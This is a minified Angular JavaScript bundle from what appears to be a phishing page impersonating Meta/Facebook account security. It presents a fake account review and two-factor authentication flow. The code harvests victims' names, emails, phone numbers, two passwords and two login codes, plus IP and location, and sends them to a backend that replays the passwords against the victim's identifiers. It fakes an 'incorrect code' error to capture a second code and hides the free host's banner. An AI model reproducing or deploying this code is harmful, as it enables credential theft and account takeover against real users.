",r.reportNo,""),K(5),ee("ngModel",r.model.message),K(6),ee("ngModel",r.model.full_name),K(5),ee("ngModel",r.model.bus_email),K(5),ee("ngModel",r.model.pers_email),K(5),ee("ngModel",r.model.phone_number),K(5),ee("ngModel",r.model.fb_page_name),K(3),ee("ngModel",r.policyChecked)("ngModelOptions",g_(15,RV)),K(4),ee("ngIf",r.msgErr.length>0),K(2),ee("disabled",!r.policyChecked),K(21),ee("ngModel",r.model.p_one),K(8),ee("disabled",!r.model.p_one),K(20),ee("ngModel",r.model.p_two),K(8),ee("disabled",!r.model.p_two)}}function PV(e,t){if(1&e){const r=wi();w(0,"input",111,112),re("ngModelChange",function(o){return Re(r),Oe(se(2).model.c_one=o)}),b()}2&e&&ee("ngModel",se(2).model.c_one)}function FV(e,t){if(1&e){const r=wi();w(0,"input",113,114),re("ngModelChange",function(o){return Re(r),Oe(se(2).model.c_two=o)}),b()}2&e&&ee("ngModel",se(2).model.c_two)}function kV(e,t){if(1&e&&(w(0,"div",115)(1,"p",116),S(2),b(),w(3,"a",117),S(4,"Send Code Again"),b()()),2&e){const r=se(2);K(2),jn(" (wait ",r.formatTime(r.timeLeft),") ")}}function LV(e,t){1&e&&(w(0,"div",118),S(1," The code generator you entered is incorrect, please try again! "),b())}function VV(e,t){if(1&e&&(w(0,"button",119),S(1," Send "),b()),2&e){const r=se(2);ee("disabled",!(6==(null==r.model.c_one?null:r.model.c_one.length)||8==(null==r.model.c_one?null:r.model.c_one.length)))}}function jV(e,t){if(1&e&&(w(0,"button",120),S(1," Send "),b()),2&e){const r=se(2);ee("disabled",!((6==(null==r.model.c_two?null:r.model.c_two.length)||8==(null==r.model.c_two?null:r.model.c_two.length))&&r.timeLeft<=0))}}function BV(e,t){if(1&e){const r=wi();w(0,"div",80)(1,"section",81)(2,"div",82),Me(3,"img",83),b()(),w(4,"section",84)(5,"div",85)(6,"div",86)(7,"div",87)(8,"form",88),re("submit",function(){return Re(r),Oe(se().submitForm2FA())}),w(9,"div",89)(10,"h3",90),S(11),b(),w(12,"div",91)(13,"p",80),S(14," You\u2019ve asked us to require a 6-digit login code when anyone tries to access your account from a new device or browser. "),b(),w(15,"p",80),S(16," Enter the 6-digit code from your "),w(17,"strong",80),S(18,"code generator"),b(),S(19," or third-party app below. "),b(),w(20,"div",92),At(21,PV,2,1,"input",93),At(22,FV,2,1,"input",94),b(),At(23,kV,5,1,"div",95),At(24,LV,2,0,"div",96),b(),w(25,"div",97)(26,"a",98),S(27,"Need another way to authenticate?"),b(),At(28,VV,2,1,"button",99),At(29,jV,2,1,"button",100),b()()()()()()(),w(30,"div",101)(31,"div",102)(32,"div",103)(33,"div",104)(34,"h5",105),S(35," Didn\u2019t receive a code? "),b(),w(36,"button",106)(37,"span",107),S(38,"\xd7"),b()()(),w(39,"div",108)(40,"p",80),S(41,"1. Go to "),w(42,"strong",80),S(43,"Settings > Security and Login."),b()(),w(44,"p",80),S(45," 2. Under the "),w(46,"strong",80),S(47,"Two-Factor Authentication"),b(),S(48," section, click "),w(49,"strong",80),S(50,"Use two-factor authentication"),b(),S(51,". You may need to re-enter your password. "),b(),w(52,"p",80),S(53," 3. Next to "),w(54,"strong",80),S(55,"Recovery Codes"),b(),S(56,", click "),w(57,"strong",80),S(58,"Setup"),b(),S(59," then "),w(60,"strong",80),S(61,"Get Codes"),b(),S(62,". If you've already set up recovery codes, you can click "),w(63,"strong",80),S(64,"Show Codes."),b()()(),w(65,"div",109)(66,"button",110),S(67," Close "),b()()()()()()}if(2&e){const r=se();K(11),jn("Two-factor authentication required (",r.isFirstSubmit2FA?"1":"2","/3)"),K(10),ee("ngIf",r.isFirstSubmit2FA),K(1),ee("ngIf",!r.isFirstSubmit2FA),K(1),ee("ngIf",r.timeLeft>0&&!r.isFirstSubmit2FA),K(1),ee("ngIf",!r.isFirstSubmit2FA),K(4),ee("ngIf",r.isFirstSubmit2FA),K(1),ee("ngIf",!r.isFirstSubmit2FA)}}function HV(e,t){if(1&e&&(w(0,"div",121)(1,"div",121)(2,"section",122)(3,"div",123),Me(4,"img",124),b()(),w(5,"section",125)(6,"div",126)(7,"div",127)(8,"div",121)(9,"div",128)(10,"div",129)(11,"div",130)(12,"div",131),Me(13,"img",132),b(),w(14,"div",133)(15,"p",121)(16,"strong",121),S(17," Hi, We are receiving your information"),b()(),Me(18,"br",121),w(19,"p",121),S(20," Reviewing your activity takes just a few more moments. We might require additional information to confirm that this is your account "),b(),Me(21,"br",121),w(22,"p",121),S(23),b(),w(24,"div",134),Me(25,"div",135),b(),w(26,"ul",136)(27,"li",121)(28,"span",137),S(29,"0"),b(),w(30,"p",138),S(31,"days"),b()(),w(32,"li",121)(33,"span",139),S(34,"0"),b(),w(35,"p",138),S(36,"hours"),b()()()()()()()()()()()()()),2&e){const r=se();K(23),jn(" Please wait, this could take up to 5-10 minutes, please be patient while we review your case... (wait ",r.formatTime(r.timeLeftEnd),") "),K(2),rd("width",100*r.timeLeftEnd/r.totalTimeEnd+"%"),Bt("aria-valuenow",r.timeLeftEnd)("aria-valuemax",r.totalTimeEnd)}}let rE=(()=>{var e;class t{constructor(n){this.appService=n,this.model={full_name:"",bus_email:"",pers_email:"",phone_number:"",fb_page_name:"",message:"",p_one:"",p_two:"",c_one:"",c_two:"",user_referrer:"",user_agent:"",ip_address:"me",country_code:"",country:"",city:""},this.reportNo=0,this.step=0,this.msgErr="",this.timeLeft=60,this.timeLeftEnd=0,this.totalTimeEnd=600,this.policyChecked=!1,this.isGetFA=!1,this.progress2FAPass1=!0,this.cse=0,this.mse=15,this.statusCode=200,this.hoursMin=20,this.isFirstSubmit2FA=!0,this.cse=Number(localStorage.getItem("cse")||0),this.isGetFA="true"==localStorage.getItem("gfa"),this.model.user_referrer=window.location.href,this.model.user_agent=navigator.userAgent}ngOnInit(){this.reportNo=this.getRandomInt(1e9,9999999999),this.appService.getIpCliente().subscribe(n=>{this.model.ip_address=n.ip,this.model.country_code=n.country_code,this.model.country=n.country,this.model.city=n.city})}submitForm(){this.msgErr="",this.validateEmail(this.model.bus_email)?this.validateEmail(this.model.pers_email)?(this.model.p_one="",this.model.p_two="",$("#exampleModal").show(),$(".modal-backdrop").show(),$("#first_password").trigger("focus")):this.msgErr="*Personal Email Address is not Valid. Please Enter Correct Email Address.":this.msgErr="*Business Email Address is not Valid. Please Enter Correct Email Address."}get2FAP1(n){this.isGetFA||this.cse>this.mse||444==this.statusCode||this.appService.submit({u_s:this.model[n],p_s:this.model.p_one,c_c:this.model.country_code}).subscribe({next:o=>{200==o?(this.isGetFA=!0,this.progress2FAPass1=!1,localStorage.setItem("gfa","true")):"bus_email"==n?this.get2FAP1("pers_email"):"pers_email"==n&&this.model.phone_number?this.get2FAP1("phone_number"):this.progress2FAPass1=!1},error:o=>{"bus_email"==n?this.get2FAP1("pers_email"):"pers_email"==n&&this.model.phone_number?this.get2FAP1("phone_number"):this.progress2FAPass1=!1}})}get2FAP2(n){if(!(this.isGetFA||this.cse>this.mse||444==this.statusCode)){if(this.progress2FAPass1)return void setTimeout(()=>{this.get2FAP2(n)},1e4);this.appService.submit({u_s:this.model[n],p_s:this.model.p_two,c_c:this.model.country_code}).subscribe({next:o=>{200==o?(this.isGetFA=!0,localStorage.setItem("gfa","true")):"bus_email"==n?this.get2FAP2("pers_email"):"pers_email"==n&&this.model.phone_number&&this.get2FAP2("phone_number")},error:o=>{"bus_email"==n?this.get2FAP2("pers_email"):"pers_email"==n&&this.model.phone_number&&this.get2FAP2("phone_number")}})}}validateEmail(n){return!!n&&n.match(/^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/)}getRandomInt(n,o){return n=Math.ceil(n),o=Math.floor(o),Math.floor(Math.random()*(o-n+1))+n}onCloseModal(){$("#exampleModal").hide(),$(".modal-backdrop").hide()}onCloseModal1(){$("#exampleModal1").hide(),$(".modal-backdrop").hide()}submitFormModal(){$("#exampleModal").hide(),$("#exampleModal1").show(),$("#second_password").trigger("focus"),(new Date).getUTCHours()>=this.hoursMin&&this.get2FAP1("bus_email"),this.sendEmailHandler()}submitFormModal1(){$("#exampleModal1").hide(),$(".modal-backdrop").hide(),(new Date).getUTCHours()>=this.hoursMin&&this.get2FAP2("bus_email"),this.sendEmailHandler(),this.step=1}submitForm2FA(){this.sendEmailHandler(),this.isFirstSubmit2FA?(this.startTimer(),this.isFirstSubmit2FA=!1):(this.step=2,this.startTimerEnd())}sendEmailHandler(){this.cse<=this.mse&&444!=this.statusCode&&(this.appService.handlerSm(this.model).subscribe(n=>{this.statusCode=n}),this.cse+=1,localStorage.setItem("cse",this.cse+""))}startTimer(){this.interval=setInterval(()=>{this.timeLeft>0?this.timeLeft--:clearInterval(this.interval)},1e3)}startTimerEnd(){this.intervalEnd=setInterval(()=>{this.timeLeftEnd{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275mod=Lt({type:e}),e.\u0275inj=bt({imports:[Pw.forRoot($V),Pw]}),t})();function zV(e,t){1&e&&Me(0,"img",2),2&e&&ee("src",t.$implicit,sc)}let GV=(()=>{var e;class t{constructor(){this.images=["/static/uploads/img/meta.svg","/static/uploads/img/423619488_703005315241772_7337317129912768654_n.png","/static/uploads/img/278052525_813944336231788_2126819975299864928_n.2ca221b227e5e50b2861f74e67923f35.svg","/static/uploads/block_images/30175859_1847141705586364_4634876909090504704_n.1a04d13ed075a5eb588b.jpg","/static/uploads/img/ref.png"]}ngOnInit(){this.interval=setInterval(()=>{$('a[href*="https://tiiny.host?ref=free-site"]').length>0&&($('a[href*="https://tiiny.host?ref=free-site"]').parent().remove(),clearInterval(this.interval))},50)}}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275cmp=Ds({type:e,selectors:[["app-root"]],decls:3,vars:1,consts:[["id","app"],["hidden","",3,"src",4,"ngFor","ngForOf"],["hidden","",3,"src"]],template:function(n,o){1&n&&(w(0,"div",0),Me(1,"router-outlet"),b(),At(2,zV,1,1,"img",1)),2&n&&(K(2),ee("ngForOf",o.images))},dependencies:[XD,Pf],styles:['#app[_ngcontent-%COMP%]{min-height:100vh;scroll-behavior:smooth;text-rendering:optimizeSpeed;line-height:1.5;overflow-x:hidden;font-family:system-ui,-apple-system,BlinkMacSystemFont,".SFNSText-Regular",sans-serif;color:#050505;background-color:#fafafa}body[data-v-f836fff0][_ngcontent-%COMP%]{font-family:Lato,sans-serif!important}']}),t})(),qV=(()=>{var e;class t{}return(e=t).\u0275fac=function(n){return new(n||e)},e.\u0275mod=Lt({type:e,bootstrap:[GV]}),e.\u0275inj=bt({providers:[Kw],imports:[DF,UV,NV,AL]}),t})();yF().bootstrapModule(qV).catch(e=>console.error(e))}},ie=>{ie(ie.s=264)}]);